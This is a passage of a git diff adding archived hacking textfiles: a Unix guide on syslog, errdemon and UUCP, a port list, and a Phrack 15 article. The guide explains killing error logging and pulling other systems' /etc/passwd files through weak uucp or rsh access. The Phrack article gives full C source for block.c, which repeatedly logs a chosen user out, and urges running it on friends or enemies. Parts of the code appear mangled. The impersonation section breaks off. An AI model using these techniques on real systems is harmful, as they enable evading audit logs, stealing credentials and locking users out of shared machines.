/etc/syslog.config + +Entries are in the form: + +#file + +Such as: + +5/etc/errlogfile + +The number is the priority of the error, and the file is the file that errors +of that priority or higher are logged to. If you see an entry with /dev/console +as its log file, watch out! Errors of that priority will result in an error +message being displayed on the system console. Sometimes, a list of usernames +will follow an entry for errorlogging. This means that these users will be +notified of any priorities of that level or higher. +There are 9 levels of priority to errors, and an estimation of their +importance: + +9 -Lowly errors. This information is just unimportant junk used to debug + small errors in the system operation that usually won't affect its + performance. Usually discarded without a glance. + +8 -Usually just thrown away. These messages provide information on the + system's operation, but nothing particularly useful. + +7 -Not greatly important, but stored for informational purposes. + +6 -System errors which can be recovered from. + +5 -This is the priority generally given to errors caused by hackers- + not errors, but important information, such as security violatins: + bad login and su attempts, attempts to access files without proper + permissions, etc. + +4 -Errors of higher priority than 6. + +3 -Major hardware and software errors. + +2 -An error that requires immediate attention...very serious. + +1 -***<<<(((CRAAASSSHHH!!!)))>>>***- + +System V Error Logging +---------------------- + System V error logging is relatively simple compared to Berkely Unix +error logging. The System V error logging program is errdemon. To find the +process id of the error logging program, type "ps -uroot". This will give you a +list of all the processes run under the root id. You will find /etc/errdemon +somewhere in the list. Kill the process, and no more error logging. The +errdemon program is not as sophisticated as BSD Unix's syslog program: it only +logs all errors into a file (the default file is /usr/adm/errfile, but another +file can be specified as an argument to the program when it is started). +Errdemon does not analyze the errors as syslog does, it simply takes them from +a special device file called /dev/error and dumps them into the error logging +file. If you wish to examine the error report, use the errpt program, which +creates a report of the errors in the error logging file and prints it out on +the stanard output. The format is: errpt [option] [error logging file]. For a +complete report of all errors, use the -a option: + +errpt -a /usr/adm/errfile + +The output is very technical, however, and not of much use to the hacker. + +UUCP Networking +--------------- + This section will cover the workings and use of the Unix uucp facilities. UUCP +stands for Unix to Unix Copy. The uucp utilities are for the exchange of files +between Unix systems. There also facilities for users to dial out and interact +with remote systems, and for executing limited commands on remote systems without +logging in. + +Outward Dialing +--------------- + The command for outward dialing is cu. The format is: + +cu -n[phone number] + +Such as: + +cu -n13125285020 + +On earlier versions of Unix, the format was simply "cu [phone number]". + +Note, that the format of the phone number may be different from system to +system- for instance, a system that dials outward off of a pbx may need to have +the number prefixed by a 9, and one that uses an extender may not need to have +the number (if long distance) preceded by a 1. To dial out, however, the system +must have facilities for dialing out. The file /usr/lib/uucp/Devices (called +L-devices on earlier systems) will contain a list of the available dialout +devices. Entries in this file are in the format: + +[device type] [device name] [dial device] [linespeed] [protocol, optional] + +Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR +is a direct connection to a specific system. Device name is the name of the +base name of the dialout device's device file, which is located in the /dev +directory. Dial device is usually an unused field. It was used on older systems +where one device (device name in the above example) was used to exchange data, +and another device (dial device, above) did the telephone dialing. In the age +of the autodial modem, this is a rarely used feature. The next, linespeed, is +the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 +or 9600 if the device is a direct connection. The protocol field is for +specifying the communications protocol. This field is optional and generally +not used. Here is an example entry for a dialout device and a direct +connection: + +ACU tty99 unused 1200 +DIR tty03 unused 9600 + +If a dialout device is capable of more than one baud rate, it must have 2 +entries in the Devices (L-devices) file, one for each baud rate. Note, that the +device in the above example is a tty- usually, dialout device names will be in +the form tty##, as they can be used both for dialing out, and receiving +incoming calls. The device can be named anything, however. + +There are several options worth mentioning to cu: +-s Allows you to specify the baud rate. There must be a device in the + Devices file with this speed. +-l Allows you to specify which device you wish to use. + +If you wish to connect to a system that there is a direct connection with, +simply type "cu -l[device]". This will connect you to it. You can also do that +do directly connect to a dialout device, from which point, if you know what +commands it accepts, you can give it the dial commands directly. + +Using the cu command is basically the same as using a terminal program. When +you use it to connect to a system, you then interact with that system as if you +dialed it directly from a terminal. Like any good terminal program, the cu +"terminal program" provides facilities for file transfers, and other commands. +Here is a summary of the commands: + +~. -Disconnect from the remote system. + +~! -Temporarily execute a shell on the local system. When you + wish to return to the remote system, press control-D. + +~![cmd] -Execute a command on the local system. Example: ~!ls -a + +~$[cmd] -Execute a command on the local system and send the output to + the remote system. + +~%put f1 f2 -Sends a file to the remote system. F1 is the name of the + file on the local system, and f2 is the name to be given the + copy made on the remote system. + +~take f1 f2 -Copies a file from the remote to the local system. F1 is + the name of the remote file, and f2 is the name to be given + to the local copy. + +Note, that the commands for transferring output and files will only work if you +are communicating with another Unix system. + You may be wondering how you can find out the format for the phone number, which +is necessary to dial out. The format can be obtained from the file +/usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file contains +the uucp network names and phone numbers of other Unix systems, as well as other +information about them. This file contains the information needed to carry out +uucp file transfers with the systems listed within it. The entries are in the +format: + +[system name] [times] [devicename] [linespeed] [phone number] [login info] + +System name is the name of the system. +Times is a list of the times when the system can be contacted. This field will +usually just have the entry "Any", which means that the system can be contacted +at any time. Never means that the system can never be called. You can also +specify specific days and times when the system can be contacted. The days are +abbreviated like this: +Su Mo Tu We Th Fr Sa +Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than +one day of the week, you can string the days together like this:SuMoTu for +Sunday, Monday, and Tuesday. You can also specify a range of hours when the +system can be called, in the 24 hour format, like this: Su,0000-0100 means that +the system can be called Sunday from midnight to 1am. The week days (Monday +through Friday) can be abbreviated as Wk. +Device name is the name of the device to call the system with. If the system is +directly connected, this file will contain the base name of the device file of +the device which connects it to the local system. If the system has to be +dialed over the phone, this field will be "ACU". +Linespeed is the baud rate needed to connect to the system. There must be a +device available with the specified baud rate to contact the system. +Phone number is the phone number of the system. By looking at these entries, +you can obtain the format for the phone number. For instance, if this field +contained "913125285020" for an entry, you would know that the format would be +9+1+area code+prefix+suffix. +The login field contains information used for uucp transfers, and will be +discussed in detail later. + Sometimes you will see alphabetic or other strange characters in the phone +number field. Sometimes, these may be commands for the particular brand of modem +that the system is using to dialout, but other times, these may actually be a +part of the phone number. If so, the meaning of these characters called tokens +can be found in the file /usr/lib/uucp/Dialcodes (called L-dialcodes on earlier +systems). Entries in this file are in the form: + +token translation + +For example: + +chicago 312 + +Would mean that the token chicago means to dial 312. So, if the phone number +field of a Systems entry was: + +chicago5285020 + +It would mean to dial 3125285020. + +You can add an entry to the Systems file for systems that you wish to call +frequently. Simply edit the file using one of the Unix system's editors, and +add an entry like this: + +bluehawaii Any ACU 9600 15134591278 unused + +And then any time you wished to call the BBS Ripco, you would type: + +cu bluehawaii + +And the system would do the dialing for you, drawing the phone number from the +entry for Blue Hawaii in the Systems file. + +How UUCP Transfer Work +----------------------- + This section will detail how a uucp file transfer works. When you issue +the command to transfer a file to/from a remote system, the local system dials +out to the remote system. Then, using the information contained in the login +field of the Systems file, it logs into an account on the remote system, in +exactly the same manner as you would log into a Unix system. Usually, however, +uucp accounts use a special shell, called uucico, which implements certain +security features which (are supposed to) keep the uucp account from being used +for any other purpose than file transfers with another Unix system. (Note: not +ALL uucp accounts will use this shell.) If you've ever logged into the uucp +account on the system and received the message, "Shere=[system name]", and the +system wouldn't respond to any of your input, that account was using the uucico +shell, which prevents the account from being used as a normal "user" account. +The local system then requests the transfer, and if security features of the +remote system which will be discussed later do not prevent the transfer, the +file will be copied to (or from if you requested to send a file) the local +system. The account is then logged off of the remote system, and the connection +is dropped. + +Adding a Login Field to a System Entry +-------------------------------------- + Many superusers feel that if the uucp account uses the uucico shell, that it is +"secure". Because of this, they may ignore other uucp security measures, and +probably not give the account a password. If you find such a system, you can add +an entry for the system to the Systems (L.sys) file of another Unix system and +try to, say, transfer a copy of its password file. To do so, simply follow the +outline in the section on cu for how to add an entry to the Systems file. That +will cover everything but how to add the login field, which is covered in this +section. + The login section consists of expect/sendsubfields. For example, here is an +example login field: + +ogin: uucp assword: uucp + +The first subfield is what is expected from the remote system, in this case +"ogin:". This means to expect the login prompt, "Login:". Note, that you do not +have to enter the complete text that the remote system sends, the text sent +from the remote system is scanned left to right as it is sent until the +expected text is found. The second subfield contains the local system's +response, which is sent to the remote system. In this case, the local system +sends "uucp" when it receives the login prompt. Next, the local system scans +the output from the remote system until it receives "assword:" ("password:"), +then sends "uucp" (the password, in this example, for the uucp account). +Because of line noise or other interference, when the local system connects to +the remote, it may not receive the expected string. For this possibility, you +may specify the expected string several times, like this: + +ogin:-ogin: uucp assword:-assword: uucp + +The - separates that if the expected string is not received, to expect the +string specified after the hyphen. Sometimes, you may need to send a special +character, such as kill or newline, to the system if the expected string is not +received. You can do that like this: + +ogin:-BREAK-ogin: uucp assword: uucp + +The -BREAK- means that if ogin: isn't received the first time, to send a break +signal to the remote system, and then expect ogin: again. Other common entries +are: + +ogin:-@-ogin: Send a kill character if the expected string isn't + received the first time. +ogin:-EOT-ogin: Send a control-D if the expected string isn't received. +ogin:--ogin: Send a null character if the expected string isnt' + received. + +If the system you wish to transfer files with doesn't send anything when you +first connect to it, (say, you have to press return first), the first expect +entry should be "" (nothing), and the first send field should be \r (a return +character). There are certain characters, like return, which are represented by +certain symbols or combinations of characters. Here is a list of these: + +\r -Return. +@ -Kill. +- -Null/newline character. +"" -Nothing. + +Unusual Login Entries +--------------------- + Sometimes, the login entry for a system might contain more than just fields to +expect the login prompt, send the username, expect the password prompt, and send +the password. For instance, if you have to go through a multiplexer to get to the +system, the login field would contain a subfield to select the proper system from +the multiplexer. + Sometimes, on systems, that use the Hayes smartmodem to dial out, the phone +number field may be left unused (will contain an arbitrary entry, such as +the word "UNUSED"), and the dialing command will be contained in the login +field. For example: + +bluehawaii Any ACU 9600 UNUSED "" ATDT15134591278 CONNECT \r ernumber: new + +So, when you try to transfer a file with a Unix system called "bluehawaii": +"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes +command, so it is ignored by the modem. Next, the system moves the login field. +The first expect subfield is "", which means to expect nothing. It then sends +the string "ATDT15134591278", which is a Hayes dialing comand, which will make +the modem dial 15134591278. When the string "CONNECT" is received (which is +what the smartmodem will respond with when it connects), the system sends a +carriage return and waits for the "Usernumber:" prompt. When it receives that, +it sends "new". This completes the login. + +UUCP Syntax +----------- + Once you've completed an entry for the Unix system you wish to transfer +files with, you can issue the uucp command, and attempt the transfer. The +syntax to copy a file from the remote system is: + +uucp remote![file pathname] [local pathname] + +Where remote is the name of the system you wish to copy the file from, [file +pathname] is the pathname of the file you wish to copy, and [local pathname] is +the pathname of the file on the local system that you wish to name the copy +that is made on the local system. +To transfer a file from the local system to the remote system, the syntax is: + +uucp [local pathname] remote![file pathname] + +Where [local pathname] is the file on the local system that you wish to +transfer to the remote system, remote is the name of the remote system, and +[file pathname] is the pathname you wish to give to the copy to be made on the +remote system. + +So, to copy the bluehawaii system's password file, type: + +uucp bluehawaii!/etc/passwd /usr/spool/uucppublic/ripcofile + +Which will, hopefully, copy the password file from ripco into a file on the +local system called /usr/spool/uucppublic/ripcofile. The directory +/usr/spool/uucppublic is a directory set up especially for the reception of +uucp-transferred files, although you can have the file copied to any directory +(if the directory permissions don't prevent it). + +Debugging UUCP Procedures +------------------------- + So, what if your transfer did not go through? Well, this section will detail how +to find out what went wrong, and how to correct the situation. + +UULOG +----- + The uulog command is used to draw up a log of transactions with remote systems. +You can either draw up the entries by system name, or the name of the user who +initiated the transaction. +For our purposes, we only want to draw up the log by system name. The format +is: + +uulog -s[system name] + +Now, this will pull up the logs for ALL transactions with this particular +system. We only want the logs for the last attempted transaction with the +system. Unfortunately, this can't be done, you'll just have to sort through the +logs until you reach the sequence of the last transaction. If the logs extend +back a long time, say about a week, however, you can use the grep command to +call up the logs only for a certain date: + +uulog -s[system] | grep mm/dd- + +Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in +the same form). This takes the output of the uulog command, and searches +through it with the grep command and only prints out those entries which +contain the date the grep command is searching for. The log entries will be in +the form: + +[username] [system] (month/day-hour:minute-pid) DESCRIPTION + +Where: + +username -Is the userid of the account that initiated the transaction. +system -Is the name of the system that the transaction was attempted + with. +month/day -Date of transaction. +hour:minute -Time of transaction. +job number -The transfer's process id. +DESCRIPTION -The log message. + +An example of a typical log entry: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) + +In the above example, the root account initiated a transaction with the Ripco +system. The system was contacted on November 20, at 2:00. The job number of the +transaction is 1234. + +Here is an explanation of the various log messages you will encounter, and +their causes: + +1. SUCCEEDED (call to [system name]) + +The system was successfully contacted. + +2. DIAL FAILED (call to [system name]) + +Uucp failed to contact the system. The phone number entry for the system in the +Systems file may be wrong, or in the wrong format. + +3. OK (startup) + +Conversation with the remote system has been initiated. + +4. LOGIN FAILED + +Uucp was unable to log into the remote system. There may be an error in the +login field in the entry for the remote system in the Systems file, or line +noise may have caused the login to fail. + +5. WRONG SYSTEM NAME + +The system's entry in the Systems file has the wrong name for the system at the +phone number specified in the entry. + +6. REMOTE DOES NOT KNOW ME + +The remote system does not recognize the name of the local system, and will not +perform transactions with an unknown system (some will, some won't...see the +section on uucp security). + +7. REQUEST ([remote file] --> [local file] username) + +The file transfer has been requested. + +8. OK (conversation complete) + +The transfer has been completed. + +9. ACCESS DENIED + +Security measures prevented the file transfers. +If you get this error, you will receive mail on the local system informing you +that the transfer was denied by the remote. + +10. DEVICE LOCKED + +All the dialout devices were currently in use. + + + +A successful transaction log will usually look like this: + +root bluehawaii (11/20-2:00-1234) SUCCEEDED (call to bluehawaii) +root bluehawaii (11/20-2:01-1234) OK (startup) +root bluehawaii (11/20-2:01-1234) REQUEST (bluehawaii!/etc/passwd --> +/bluehawaiifile root) +root bluehawaii (11/20-2:03 1234) OK (conversation complete) + + When an error occurs during a transfer with a system, a status file is +created for that system, and remains for a set period of time, usually about an +hour. During this time, that system cannot be contacted. These files, depending +on which version of Unix you are on, will either be in the directory +/usr/spool/uucp, and have the form: +STST..[system name] +or will be in the directory /usr/spool/uucp/.Status, and have the same name as +the system. These status files will contain the reason that the last transfer +attempt with the system failed. These files are periodically purged, and if you +wish to contact the system before its status file is purged, you must delete +its status file. +The files containing the failed transfer request will also remain. If you are +using the latest version of System V, these files will be in a subdirectory of +the directory /usr/spool/uucp. For instance, if the system is called bluehawaii, +the files will be in the directory /usr/spool/uucp/bluehawaii. On other systems, +these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. +These files are in the form: + +C.[system name]AAAAAAA + +Where [system name] is the name of the system to be contacted, and AAAAAA is a +the transfer's uucp job number. (You can see the transfer request's job number +by specifying the j option when you initiate the transfer. For example, +"uucp -j bluehawaii!/etc/passwd /usr/spool/uucppublic/bluehawaiifile" would +initiate the +transfer of the bluehawaii system's password file, and display the job number on +your screen.) Type "cat C.system[jobnumber]", and you will see something like +this: + +R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest + +On earlier versions of Unix, these files will be in the directory +/usr/spool/uucp/C. To find the file containing your transfer, display the +contents of the files until you find the proper one. If your transfer fails, +delete the transfer request file and the status file, correct any errors in the +Systems file or whatever, and try again! + +UUCP Security +------------- + Obviously, uucp access to files has to be restricted. Otherwise, anyone, from +any system, could copy any file from the remote system. This section will cover +the security features of the uucp facilities. + The file /usr/lib/uucp/USERFILE contains a list of the directories that remote +systems can copy from, and local users can send files from to remote systems. The +entries in this file are in the format: + +[local user],[system] [callback?] [directories] + +Where: + +local user -Is the username of a local account. This is for the purpose + of restricting which directories a local user can send files + from to a remote system. +system -Is the name of a remote system. This is for the purpose of + restricting which directories a specific remote system can + copy files from. +callback? -If there is a c in this field, then if a transfer request is + received from the system indicated in the system field, then + the local system (in this case, the local system is the system + which receives the transfer request, rather than the system + that initiated it) will hang up and call the remote back (at + the number indicated in the remote's entry in the local's + Systems file) before starting the transfer. +directories -Is a list of the pathnames of the directories that the remote + system indicated in the system field can copy files from, or + the local user indicated in the local user field can send files + from to a remote system. + +A typical entry might look like: + +local_dork,bluehawaii - /usr/spool/uucppublic + +This means that the user local_dork can only send files to a remote system +which are in the directory /usr/spool/uucppublic, and the remote system +bluehawaii +can only copy files from the local system that are in the directory +/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy +files in that directory, and if they wish to copy a file from another portion +of the system, they must notify a user on the system to move that file to the +uucppublic directory. When a transfer request is received from a remote system, +the local system scans through the userfile, ignoring the local user field (you +can't restrict transfers with a particular user from a remote system...the copy +access granted to a system in the USERFILE is granted to all users from that +system), until it finds the entry for that system, and if the system is allowed +to copy to or from that directory, the transfer is allowed, otherwise it is +refused. If an entry for that system is not found, the USERFILE is scanned +until an entry with a null system name (in other words, an entry with no system +name specified) is found, and the directory permissions for that entry are +used. If no entry is found with a null system name, the transfer is denied. +There are a few quirks about USERFILE entries. First, if you have copy access +to a directory, you also have copy access to any directories below it in the +system tree. Thus, lazy system operators, rather than carefully limiting a +system's access to only the directories it needs access to, often just give +them copy access to the root directory, thus giving them copy access to the +entire system tree. Yet another mistake made by careless superusers is leaving +the system name field empty in the entries for the local users. Thus, if a +system that doesn't have an entry in the USERFILE requests a transfer with the +local system, when the USERFILE is scanned for an entry with a null system +name, if the entries for the local users come first in the USERFILE, the system +will use the first entry for a local user it finds, since it has a null system +name in the system name field. Note, that none of these security features even +works if the uucp account on the system the transfer is requested with does not +use the uucico shell. In any case, whether the account uses the uucico shell or +not, even if you have copy access to a directory, individual file or directory +protections may prevent the copying. For information on uucp security in yet +another version of the uucp facilities, see the piece on the Permissions file +in the section on uux security. + +Executing Commands on a Remote System +------------------------------------- + There are 2 commands for executing commands on a remote system- uux and rsh +(remote shell- this has nothing to do with the rsh shell [restricted Bourne +shell]). This section will cover the uses of both. + +UUX +--- + The uux command is one of the uucp utilities. This is used, not for file +transfers, but for executing non-interactive commands on a remote system. +By non-interactive, I mean commands that don't request input from the user, but +are executed immediately when issued, such as rm and cp. The format is: + +uux remote!command line + +Where remote is the name of the remote system to perform the command on, and +the rest (command line) is the command to be performed, and any arguments to +the command. You will not receive any of the commnand's output, so this command +can't be used for, say, printing the contents of a text file to your screen. + +UUX Security +------------ + If the uucp account on the remote system uses the uucico shell, then +these security features apply to it. + + The file /usr/lib/uucp/Commands file contains a list of the commands a +remote system can execute on the system. By remote system, in this case, I mean +the system that the user who initiates the uux command is on, and local system +will mean the system that receives the uux request. Entries in the file +/usr/lib/uucp/Commands are in the following format: + +PATH=[pathname] +command +command + " to infinity... +command,system + +The first line, PATH=[pathname], sets the searchpath for the remote system +requesting the uux execution of a command on the local system. This entry is +just the same as, say, a line in a login file that sets the searchpath for a +regular account, example: PATH=/bin:/usr/bin +Which sets the searchpath to search first the directory /bin, and the the +directory /usr/bin when a command is issued. The following entries are the base +names of the programs/commands that the remote can execute on the local system. +The last program/command in this list is followed by a comma and the name of +the remote site. For example: + +PATH=/bin +rmail +lp,bluehawaii + +Means that the remote system Bluehawaii can execute the rmail and lp commands on +the +local system. Usually, only the lp and rmail commands will be allowed. + Again, we come to another, "different" version of the uucp facilities. On some +systems, the commands a remote system can execute on the local system are +contained in the file /usr/lib/uucp/Permissions. Entries in this file are +in the form: + +MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ= +[directories] WRITE=[directories] + +Where: + +Remote is the name of the remote system. Commands is a list of the commands +the remote may execute on the local system, in the form: +pathname:pathname + +For example: + +/bin/rmail:/usr/bin/netnews + +The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy +files from the local system. The yes/no after "SEND=" tells whether or not the +remote system can send files to the local system. The list of directories after +"READ=" tells which directories the remote can copy files from (provided that +it has REQUEST privileges), and is in the form: + +pathname:pathname...etc. + +For example: + +/usr/spool/uucppublic:/usr/lib/uucp + +Again, as before, the remote has copy access to any directories that are below +the directories in the list in the system tree. The list of directories after +"WRITE=" is in the same form as the list of directories after "READ=", and is a +list of the directories that the remote can copy files TO on the local system. + +RSH +--- + This is a new feature which I have seen on a few systems. This is not, to the +best of my knowledge, a System V feature, but a package available for 3rd party +software vendors. If the rsh command is featured on a system, the restricted +(rsh) Bourne shell will be renamed rshell. Rsh stands for remote shell, and is +for the execution of any command, interactive or otherwise, on a remote system. +The command is executed realtime, and the output from the command will be sent to +your display. Any keys you press while this command is being executed will be +sent to the remote system, including breaks and interrupts. The format is: + +rsh [system] command line + +For example: + +rsh bluehawaii cat /etc/passwd + +Will print out the /etc/passwd file of the Bluehawaii system on your screen. To +the +best of my knowledge, the only security features of the rsh command are the +individual file and directory protections of the remote system. + +UUNAME and UUSTAT +----------------- + These are 2 commands which are for use by users to show the state of the local +system's uucp facilities. Uuname gives a list of all the system names in the +Systems (L.sys) file, and uustat gives a list of all pending uucp/uux jobs. + +Network Mail +------------ + There are several different ways of sending mail to users on other systems. +First of all, using the uucp and uux commands. Simply edit a text file containing +the message you wish to send, and uucp a copy of it to the remote system. Then +send it to the target user on that system using the uux command: + +uux system!rmail [username] < [pathname] + +Where system is the name of the system the target user is on, username is the +name of the user you wish to send the mail to, and pathname is the pathname of +the text file you sent to the remote system. This method works by executing the +rmail command (Receive Mail), the syntax of which is "rmail [user]", and +redirecting its input from the file you sent to the remote. This method will +only work if the remote allows users from your local system to execut the rmail +command. + The second method is for systems which feature the remote shell (rsh) command. +If the remote system can be contacted by your local system via rsh, type: + +rsh system!mail [user] + +And once connected, enter your message as normal. + This last method is the method of sending mail over uucp networks. This method +is the one employed by USENET and other large uucp networks, as well as many +smaller and/or private networks. This method uses the simple mail command: + +mail system!system!system![and so on to infinity]!system@user + +Where: +The list of systems is the routing to the target system, and user is the mail +recipient on the target system. The routing takes a bit of explanation. Imagine +something a uucp network with connections like this: + + unix1 + | + ------------------- + | | + unix2 unix3 + | | + unix4-------------unix5 + +This network map shows what systems are on the network, and which systems have +entries for which other systems in its Systems (L.sys) file. In this example: + +Unix1 has entries for unix2 and unix3. +Unix2 has entries for unix1 and unix4. +Unix3 has entries for unix1 and unix5. +Unix4 has entries for unix2 and unix5. +Unix5 has entries for unix3 and unix4. + +Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so +directly, since it has no means of reaching it (no entry for it in its Systems +file). So, it would "forward" the mail through a series of other systems. For +example, to send mail to the user root on unix5, any of these routings could be +used: + +unix3!unix5@root +unix2!unix4!unix5@root + +Obviously, the first routing would be the shortest and quickest. So, to mail a +message from unix1 to the root user on unix5, you would type: + +mail unix3!unix5@root + +Then type in your message and press control-D when finished, and the uucp +facilities will deliver your mail. + +------------ +Corrections: +I incorrectly listed in one section that chown was the command to change file +protections. +The correct command is chmod. diff --git a/textfiles.com/hacking/UNIX/socket.txt b/textfiles.com/hacking/UNIX/socket.txt new file mode 100644 index 00000000..4cfa91df --- /dev/null +++ b/textfiles.com/hacking/UNIX/socket.txt @@ -0,0 +1,129 @@ +-=-=-=-=-=-=-=- +Socket Services +-=-=-=-=-=-=-=- + + + +Disclaimer: + +The author takes no responsibility in +the actions of people who have read +this text. Please Distribute this text +file on your BBS, Homepage, or FTP site +and please do not change this or add to +it in any way what so ever. + + + +Port Number Service Name Protocol + +7 echo tcp +7 echo udp +9 discard tcp +9 discard udp +11 systat tcp +13 daytime tcp +13 daytime udp +15 netstat tcp +17 qotd tcp +17 qotd udp +19 chargen tcp +19 chargen udp +20 ftp-data tcp +21 ftp tcp +23 telnet tcp +25 smtp tcp +37 time tcp +37 time udp +39 rlp udp +42 name tcp +42 name udp +43 whois tcp +53 domain tcp +53 domain udp +57 mtp tcp +67 bootp udp +69 tftp udp +77 rje tcp +79 finger tcp +87 link tcp +95 hostnames tcp +102 iso-tsap tcp +103 dictionary tcp +104 x400-snd tcp +105 csnet-ns tcp +109 pop tcp +110 pop3 tcp +111 portmap tcp +111 portmap udp +113 auth tcp +115 sftp tcp +117 path tcp +119 nntp tcp +123 ntp udp +137 nbname udp +138 nbdatagram udp +139 nbsession tcp +144 NeWS tcp +153 sgmp udp +158 tcprepo tcp +161 snmp udp +162 snmp-trap udp +170 print-srv tcp +175 vmnet tcp +315 load udp +400 vmnet0 tcp +500 sytek udp +512 exec tcp +512 biff udp +513 login tcp +513 who udp +514 shell tcp +514 syslog udp +515 printer tcp +517 talk udp +518 ntalk udp +520 efs tcp +520 route udp +525 timed udp +526 tempo tcp +530 courier tcp +531 conference tcp +531 rvd-control udp +532 netnews tcp +533 netwall udp +540 uucp tcp +543 klogin tcp +544 kshell tcp +550 new-rwho udp +556 remotefs tcp +560 rmonitor udp +561 monitor udp +600 garcon tcp +601 maitrd tcp +602 busboy tcp +700 acctmaster udp +701 acctslave udp +702 acct udp +703 acctlogin udp +704 acctprinter udp +705 acctinfo udp +706 acctslave2 udp +707 acctdisk udp +750 kerberos tcp +750 kerberos udp +751 kerberos_mastertcp +751 kerberos_masterudp +752 passwd_server udp +753 userreg_server udp +754 krb_prop tcp +888 erlogin tcp + + + +-=-=-=-=-=-=-=-=-=-=- +Relevation +[SeNSaTioN] Founder +sensation.ml.org +-=-=-=-=-=-=-=-=-=-=- + diff --git a/textfiles.com/hacking/UNIX/stupid.unx b/textfiles.com/hacking/UNIX/stupid.unx new file mode 100644 index 00000000..4314350f --- /dev/null +++ b/textfiles.com/hacking/UNIX/stupid.unx @@ -0,0 +1,277 @@ + + ===== Phrack Magazine presents Phrack 15 ===== + + ===== File 2 of 10 ===== + + + + + + +I thought I had written everything there is to write about the Unix +operating system until I was recently asked to put out yet another file... +so I said "I'll try, but don't publish my file along with an article by +The Radical Rocker this time!" These demands having been met, I booted +up the PC and threw together... + + + --- ---- ---- ------ ------ -- -- ---- ----- + % Yet Even More Stupid Things to Do With Unix! $ + --- ---- ---- ------ ------ -- -- ---- ----- + + By Shooting Shark. + Submitted 26 August '87 + + + +These two topics are methods of annoying other users of the system +and generally being a pest. But would you want to see a file on *onstructive* +things to do with Unix? Didn't think so... + + +-- ------- ----- --- --- ------ +1. Keeping Users Off The System +-- ------- ----- --- --- ------ + +Now, we all know by now how to log users off (one way is to redirect +an 'stty 0' command to their tty) but unless you have root privs, this +will not work when a user has set 'mesg n' and prevented other users from +writing to their terminal. But even users who have a 'mesg n' command in +their .login (or .profile or .cshrc) file still have a window of vulnerability, +the time between login and the locking of their terminal. I designed +the following program, block.c, to take advantage of this fact. + +To get this source running on your favorite Unix system, upload it, +call it 'block.c', and type the following at the % or $ prompt: + +cc -o block block.c + +once you've compiled it successfully, it is invoked like so: + +block username [&] + +The & is optional and recommended - it runs the program in the background, +thus letting you do other things while it's at work. + +If the user specified is logged in at present, it immediately logs +them out (if possible) and waits for them to log in. If they aren't logged +in, it starts waiting for them. If the user is presently logged in but +has their messages off, you'll have to wait until they've logged out to +start the thing going. + +Block is essentially an endless loop : it keeps checking for the occurence +of the username in /etc/utmp. When it finds it, it immediately logs them +out and continues. If for some reason the logout attempt fails, the program +aborts. Normally this won't happen - the program is very quick when run +unmodified. However, to get such performance, it runs in a very tight +loop and will eat up a lot of CPU time. Notice that near the end of the +program there is the line: + +/*sleep(SLEEP) */ + +the /* and */ are comment delimiters - right now the line is commented +out. If you remove the comments and re-compile the program, it will then +'go to sleep' for the number of seconds defined in SLEEP (default is 5) +at the end of every loop. This will save the system load but will slightly +decrease the odds of catching the user during their 'window of vulnerability.' + +If you have a chance to run this program at a computer lab at a school or +somewhere similar, run this program on a friend (or an enemy) and watch +the reaction on their face when they repeatedly try to log in and are +logged out before they can do *anything*. It is quite humorous. This +program is also quite nasty and can make you a lot of enemies! + +caveat #1: note that if you run the program on yourself, you will be logged +out, the program will continue to run (depending on the shell you're under) +and you'll have locked yourself out of the system - so don't do this! + +caveat #2: I wrote this under OSx version 4.0, which is a licensed version +of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will +work on your system. + +caveat #3: If you run this program in background, don't forget to kill +it when you're done with it! (when you invoke it with '&', the shell will +give you a job number, such as '[2] 90125'. If you want to kill it later +in the same login session, type 'kill %2'. If you log in later and want +to kill it, type 'kill 90125'. Just read the man page on the kill command +if you need any help... + +----- cut here ----- + +/* block.c -- prevent a user from logging in + * by Shooting Shark + * usage : block username [&] + * I suggest you run this in background. + */ + +#include +#include +#include +#include +#include + +#define W_OK2 +#define SLEEP5 +#define UTMP"/etc/utmp" +#define TTY_PRE "/dev/" + +main(ac,av) +int ac; +char *av[]; +{ +int target, fp, open(); +struct utmpuser; +struct termio*opts; +char buf[30], buf2[50]; + +if (ac != 2) { +printf("usage : %s username\n",av[0]); +exit(-1); +} + + +for (;;) { + +if ((fp = open(UTMP,0)) == -1) { +printf("fatal error! cannot open %s.\n",UTMP); +exit(-1); +} + + +while (read(fp, &user, sizeof user) > 0) { +if (isprint(user.ut_name[0])) { +if (!(strcmp(user.ut_name,av[1]))) { + +printf("%s is logging in...",user.ut_name); +sprintf(buf,"%s%s",TTY_PRE,user.ut_line); +printf("%s\n",buf); +if (access(buf,W_OK) == -1) { +printf("failed - program aborting.\n"); +exit(-1); +} +else { +if ((target = open(buf,O_WRONLY)) != EOF) { +sprintf(buf2,"stty 0 > %s",buf); +system(buf2); +printf("killed.\n"); +sleep(10); +} + +} /* else */ +} /* if strcmp */ +} /* if isprint */ +} /* while */ +close(fp); + +/*sleep(SLEEP); */ + +} /* for */ + + + + + +} + +----- cut here ----- + + +-- ------------- ----- ----- ---- ------ --- ------ +2. Impersonating other users with 'write' and 'talk' +-- ------------- ----- ----- ---- ------ --- ------ + +This next trick wasn't exactly a work of stupefying genius, but is a +little trick (that anybody can do) that I sometimes use to amuse myself +and, as with the above, annoy the hell out of my friends and enemies. + +Nearly every Unix system has the 'write' program, for conversing with +other logged-in users. As a quick summary: + +If you see that user 'clara' is logged in with the 'who' or 'w' command +or whatever, and you wish to talk to her for some reason or another, +you'd type 'write clara'. Clara then would see on her screen something +like this (given that you are username 'shark'): + + +[3 ^G's] Message from shark on ttyi13 at 23:14 ... + +You then type away at her, and whatever you type is sent to her terminal +line-by-line. If she wanted to make it a conversation rather than a +monologue, she'd type 'write shark,' you'd get a message similar to the above +on your terminal, and the two of you would type away at each other to your +little heart's content. If either one of you wanted to end the conversation, +you would type a ^D. They would then see the characters 